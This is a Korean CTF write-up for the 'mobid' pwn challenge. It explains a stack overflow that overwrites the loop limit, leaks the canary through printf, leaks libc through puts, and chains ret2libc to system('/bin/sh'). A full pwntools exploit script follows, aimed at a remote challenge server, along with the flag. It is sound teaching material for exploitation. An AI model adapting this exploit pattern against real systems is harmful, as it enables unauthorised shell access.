Logo
Overview
[D-CTF] mobid

[D-CTF] mobid

November 13, 2025
2 min read

✨ 바이너리 공짜 다운로드 ✨

TL;DR

canary partial leak \rightarrow canary rebuild \rightarrow libc leak \rightarrow ret2libc 체이닝

Analysis

Terminal window
[*] '/home/andso/final/mobid/main'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

vuln 함수는 다음과 같다.

000000000040087d <vuln>:
40087d: 55 push rbp
40087e: 48 89 e5 mov rbp,rsp
400881: 48 81 ec f0 00 00 00 sub rsp,0xf0
400888: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
400891: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
400897: c7 45 84 01 00 00 00 mov DWORD PTR [rbp-0x7c],0x1
40089e: c7 85 1c ff ff ff 00 mov DWORD PTR [rbp-0xe4],0x0
4008aa: 48 8d 85 20 ff ff ff lea rax,[rbp-0xe0]
4008b6: ba 00 02 00 00 mov edx,0x200
4008c3: 48 8d 85 20 ff ff ff lea rax,[rbp-0xe0]
4008ca: 48 83 c0 68 add rax,0x68
4008ce: ba 00 02 00 00 mov edx,0x200
4008ea: 48 8d 3d e2 04 00 00 lea rdi,[rip+0x4e2] # "%s"
4008f6: e8 25 fd ff ff call 400620 <printf@plt>
400906: 48 89 c6 mov rsi,rax
400909: 48 8d 3d c3 04 00 00 lea rdi,[rip+0x4c3] # "%s"
400915: e8 06 fd ff ff call 400620 <printf@plt>
40091a: 8b 45 84 mov eax,DWORD PTR [rbp-0x7c]
400922: 83 85 1c ff ff ff 01 add DWORD PTR [rbp-0xe4],0x1
40092c: 39 85 1c ff ff ff cmp DWORD PTR [rbp-0xe4],eax
400932: 0f 8c 72 ff ff ff jl 4008aa <vuln+0x2d>
40093c: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
400940: 64 48 33 04 25 28 00 xor rax,QWORD PTR fs:0x28
40094b: e8 b0 fc ff ff call 400600 <__stack_chk_fail@plt>

스택 프레임을 정리하면

offsetdesc
rbp-0xe0첫 번째 read 버퍼, 길이 0xe0
rbp-0x78두 번째 read 버퍼 (rbp-0xe0+0x68)
rbp-0xe4루프 인덱스
rbp-0x7c루프 한계, 초기 값 1
rbp-0x8stack canary

프레임 안에서 rpb-0x7c가 첫 번째 버퍼 내부에 포함되어있고 두 번째 버퍼 뒤에 카나리가 붙어있다.

  1. read(0, buf1, 0x200);
  2. printf("%s", buf1);
  3. read(0, buf2, 0x200);
  4. printf("%s", buf2);
  5. idx++, if (idx < limit) goto loop;

루프는 이 순서를 따르는데, 우선 read 길이가 0x200으로 스택 버퍼 0xe0를 초과 또한, printf(“%s”)가 두 번째 버퍼 뒤 canary까지 훑을 수 있다.

그ㅡ러면

  1. buffer A (rbp-0xe0): 0x64바이트 패딩, p32(2)로 루프 한계 덮기, \n\0 삽입 후 나머지 패딩.
  2. buffer B (rbp-0x78): canary 앞까지 태그를 넣고 다음 바이트를 0x01로 설정한다.
  3. printf("%s", bufB)는 태그를 출력하고 이어지는 7바이트를 그대로 내보낸다. 태그를 기준으로 수신 데이터를 찾아서 canary를 재조립한다.

canary를 알아냈다면 같은 루프를 다시 활용해 ROP 체인을 넣는다. 두 번째 반복 루프의 첫 read는 단순히 \n\0만 채워 flush를 유도한다. 두 번째 read에서는 아래 순서를 따른다.

  1. buffer B의 canary 위치를 정확히 복구한다.
  2. rbp 채우기.
  3. 리턴 주소 자리에 ret; pop rdi; puts@plt(GOT_puts); main 체인 두기

같은 과정으로 최종 system("/bin/sh")를 날릴 수 있다. 두 번째 ROP는 아래 순서로 세팅

  1. 스택 정렬용 ret.
  2. pop rdi/bin/sh 주소(리모트 libc에서 계산).
  3. system.

Exploit

from pwn import *
context.binary = ELF('./main', checksec=False)
elf = context.binary
libc = ELF('./libc-2.27.so', checksec=False)
context.log_level = 'debug'
TAG = b'ANDSOPWN'
BUF2_OFF = 0x70
LIMIT_OFFSET = 0x64
def leak_canary(io):
first = b'A'*LIMIT_OFFSET + p32(2) + b'\n\x00'
io.send(first)
second = b'B'*(BUF2_OFF-len(TAG)) + TAG + b'\x01'
io.send(second)
io.recvuntil(TAG)
leak = io.recvn(8)
canary = u64(b'\x00' + leak[1:])
log.success(f'Canary: {hex(canary)}')
while True:
chunk = io.recv(timeout=0.05)
if not chunk:
break
return canary
def leak_libc(io, canary):
io.send(b'C'*8 + b'\n\x00')
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address
chain = flat(pop_rdi, elf.got['puts'], elf.plt['puts'], elf.symbols['main'])
payload = b'D'*(BUF2_OFF-1) + b'\n' + p64(canary) + p64(0) + chain
io.send(payload)
io.recvline()
io.recvline()
leak_line = io.recvline().rstrip(b'\n')
log.info(f'raw line: {leak_line!r}')
log.info(f'hex: {leak_line.hex()}')
leaked = u64(leak_line.ljust(8, b'\x00'))
libc_base = leaked - libc.sym['puts']
log.success(f'puts@libc: {hex(leaked)} -> libc base {hex(libc_base)}')
io.recvuntil(b'code consumes you!\n')
return libc_base
def spawn_shell(io, canary, libc_base):
io.send(b'E'*8 + b'\n\x00')
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address
ret = rop.find_gadget(['ret']).address
bin_sh = next(libc.search(b'/bin/sh\x00')) + libc_base
system = libc.sym['system'] + libc_base
log.info(f'Gadgets: pop_rdi={hex(pop_rdi)}, ret={hex(ret)}')
log.info(f'Addresses: bin_sh={hex(bin_sh)}, system={hex(system)}')
chain = flat(ret, pop_rdi, bin_sh, system)
payload = b'F'*(BUF2_OFF-1) + b'\n' + p64(canary) + p64(0) + chain
io.send(payload)
io.interactive()
def main():
io = remote('34.185.215.6', 31358)
io.recvuntil(b'code consumes you!\n')
canary = leak_canary(io)
libc_base = leak_libc(io, canary)
spawn_shell(io, canary, libc_base)
if __name__ == '__main__':
main()
CTF{a313fbe90308e6f2f09d5e584bcb6fc1bfdcf2203eea6993841467bf0abdbca7}